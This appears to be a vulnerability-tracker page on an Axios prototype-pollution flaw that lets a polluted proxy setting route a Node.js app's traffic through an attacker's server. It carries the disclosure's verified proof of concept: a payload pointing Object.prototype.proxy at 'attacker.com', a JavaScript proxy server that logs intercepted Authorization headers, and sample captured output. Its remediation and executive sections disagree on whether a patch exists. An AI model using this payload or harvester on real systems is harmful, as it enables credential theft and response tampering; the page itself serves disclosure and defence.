Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify Node app using vulnerable axios
-
DeliveryFind prototype-pollution sink in dependency
-
ExploitSend payload polluting Object.prototype.proxy
-
InstallApp issues outbound axios HTTP request
-
C2http.js reads polluted proxy via prototype chain
-
ExecutesetProxy routes traffic through attacker host
-
ImpactCapture credentials and tamper with responses
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service Proxy/intermediary controls
|
| Exploitation Conditions | Exploitation requires that a separate prototype-pollution primitive already exists in the application's dependency graph (e.g., a vulnerable version of qs, minimist, lodash, or body-parser reachable from attacker-controlled input) allowing the attacker to set |
| Impact | Signals diverge: the reporter assigns CVSS 9.4 (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:L) while the supplied authoritative score is 8.7 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N) - the High attack complexity reflects the realistic prerequisite that a separate prototype-pollution sink must already exist in the application's dependency graph, and the Changed scope reflects that the impact lands on third-party HTTP endpoints rather than Axios itself. No EPSS score, KEV listing, or SSVC decision was supplied, so widespread automated exploitation is not currently indicated; however, a verified PoC is published in the GitHub Security Advisory, which raises copy-paste exploitation risk for any app whose transitive dependencies include known PP-vulnerable packages (qs, minimist, lodash, body-parser historically). Net: this is a real priority for Node services that handle credentials or internal API traffic, but the dependency on a co-resident PP gadget means it is not a pure drive-by - defenders should weight it as a high-impact secondary-stage vulnerability rather than a turnkey RCE. Conflict to verify: the description states 'Affected Versions: All versions (v0.x - v1.x)' but the GHSA package range is |
| Exploit ScenarioDerived | An attacker first triggers a known prototype-pollution sink in any dependency of the target Node.js service (for example, a vulnerable query-string parser receiving |
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Alert meAnalysisAIv1 – May 29, 2026
Man-in-the-middle interception in the Axios HTTP client library (all versions through 1.15.x) allows any prototype pollution elsewhere in the Node.js dependency tree to be escalated into full traffic hijacking. Because config.proxy is not defined in Axios defaults, lib/adapters/http.js reads it via prototype-chain traversal - letting an attacker who controls Object.prototype.proxy silently route every outbound HTTPS/HTTP request through their server, harvesting Authorization headers, cookies, and request bodies while tampering with responses. Publicly available exploit code exists in the disclosure; no public exploit identified at time of analysis in the wild and not on CISA KEV.
RemediationAI
Vendor-released patch: upgrade Axios to 1.16.0 or later, per the GHSA-35jp-ww65-95wh advisory at https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh. Because exploitation requires a separate prototype-pollution sink, also audit and update transitive dependencies known for PP issues (qs, minimist, lodash, body-parser) and enable lockfile scanners such as npm audit or Snyk. If upgrading immediately is not feasible, the reporter's suggested compensating controls are to harden Axios's merged config by freezing Object.prototype at process start with Object.freeze(Object.prototype) (side effect: breaks any library that legitimately writes to the prototype), or to monkey-patch the adapter to read proxy with Object.prototype.hasOwnProperty.call(config, 'proxy') before passing it to setProxy(). As a network-layer mitigation, egress firewall rules that restrict outbound destinations to a known allowlist will blunt MITM redirection to attacker-controlled hosts but will not prevent SSRF-style abuse to internal services.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
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Technical ContextAI · show details
Axios is one of the most widely deployed npm HTTP clients (tens of millions of weekly downloads), used directly and transitively by countless Node.js services. The root cause combines CWE-1321 (Prototype Pollution) with CWE-441 (Unintended Proxy / Confused Deputy): the merged request config object inherits from Object.prototype, and the Node HTTP adapter dereferences config.proxy with a bare property read at lib/adapters/http.js:670. Because proxy is intentionally absent from lib/defaults/index.js, mergeConfig never copies it as an own property, so any value placed on Object.prototype.proxy is transparently picked up by setProxy() and used to rewrite options.hostname, options.port, and options.path. This is a distinct gadget from the earlier transformResponse issue (GHSA-fvcv-3m26-pcqx, fixed in 1.15.0), which the 1.15.0 header-sanitization patch does not mitigate. Affected CPE is pkg:npm/axios.
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Severity by source
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/axios/axios).
CVSS VectorVendor: https://github.com/axios/axios
DescriptionCVE.org
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack - intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints - the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints - unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfigiteratesObject.keys({...defaults, ...userConfig})-proxyis NOT in this setdefaultToConfig2forproxyis never called- The merged config has no own
proxyproperty - When
http.js:670readsconfig.proxy, JavaScript traverses the prototype chain Object.prototype.proxyis found → used bysetProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic - it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe - no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer - no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});3. The Execution
At http.js:668-670:
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);setProxy() at http.js:191-239 then:
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}4. The Impact (Full MITM)
The attacker's proxy server receives:
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:
- Sees every request URL, header, and body
- Modifies every response (inject malicious data, change auth results)
- Logs all API keys, session tokens, and passwords
- Operates as an invisible proxy - the developer has no indication
5. Verified PoC Code
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request - goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();Verified PoC Output
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, */*",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)Impact Analysis
- Full Credential Interception: Every HTTP request's
Authorizationheader, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data - no constraints like
transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
- Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
- Invisible Attack: The developer has no indication that a proxy has been injected - requests complete normally with attacker-controlled responses.
- Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget |
|---|---|---|
| Data access | this.auth + response data | All headers, auth, body, URL, response |
| Response control | Must return true | Arbitrary responses |
| Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) |
| mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact:
config.proxy- MITMconfig.socketPath- Unix socket SSRFconfig.transport- request hijackconfig.lookup- DNS hijackconfig.beforeRedirect- redirect manipulationconfig.httpAgent/config.httpsAgent- agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
// In lib/core/mergeConfig.js
const config = Object.create(null);Resources
- CWE-1321: Prototype Pollution
- CWE-441: Unintended Proxy
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified - full MITM confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Blast Radius
ecosystem impact- 273 npm packages depend on axios (189 direct, 84 indirect)
Ecosystem-wide dependent count for version 1.0.0.
Articles & Coverage 1
Executive ViewAI
Axios HTTP client library (versions ≤1.15.x) contains a high-severity vulnerability with publicly available exploit code that enables attackers to intercept all application traffic, steal authentication credentials, and modify API responses. Organizations using Axios in Node.js environments face exposure of sensitive credentials and API keys if another prototype pollution vulnerability exists elsewhere in their dependency chain.
No vendor-released patch identified at time of analysis. Implement interim mitigations: (1) Restrict outbound network access to explicitly whitelisted proxy endpoints; (2) Add application-level request signing and response integrity verification; (3) Conduct complete dependency audit and remediate other prototype pollution vulnerabilities; (4) Enable egress traffic monitoring and alerting for Object.prototype modifications; (5) Minimize deserialization from untrusted sources; (6) Evaluate temporary migration to alternative HTTP libraries (undici, node-fetch) pending patch release.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Vendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Not-Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Not-Affected |
| SUSE Manager Proxy 4.3 | Not-Affected |
| SUSE Manager Proxy LTS 4.3 | Not-Affected |
| SUSE Manager Retail Branch Server 4.3 | Not-Affected |
| SUSE Manager Retail Branch Server LTS 4.3 | Not-Affected |
| SUSE Manager Server 4.3 | Not-Affected |
| SUSE Manager Server LTS 4.3 | Not-Affected |
| SUSE CaaS Platform 4.0 | Not-Affected |
| SUSE Enterprise Storage 6 | Not-Affected |
| SUSE Enterprise Storage 7 | Not-Affected |
| SUSE Enterprise Storage 7.1 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | Not-Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP1 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP1-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Not-Affected |
| SUSE Manager Proxy 4.0 | Not-Affected |
| SUSE Manager Proxy 4.1 | Not-Affected |
| SUSE Manager Proxy 4.2 | Not-Affected |
| SUSE Manager Retail Branch Server 4.0 | Not-Affected |
| SUSE Manager Retail Branch Server 4.1 | Not-Affected |
| SUSE Manager Retail Branch Server 4.2 | Not-Affected |
| SUSE Manager Server 4.0 | Not-Affected |
| SUSE Manager Server 4.1 | Not-Affected |
| SUSE Manager Server 4.2 | Not-Affected |
| openSUSE Leap 15.3 | Not-Affected |
| openSUSE Leap 15.4 | Not-Affected |
| openSUSE Leap 15.5 | Not-Affected |
EUVD-2026-36257
GHSA-35jp-ww65-95wh
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB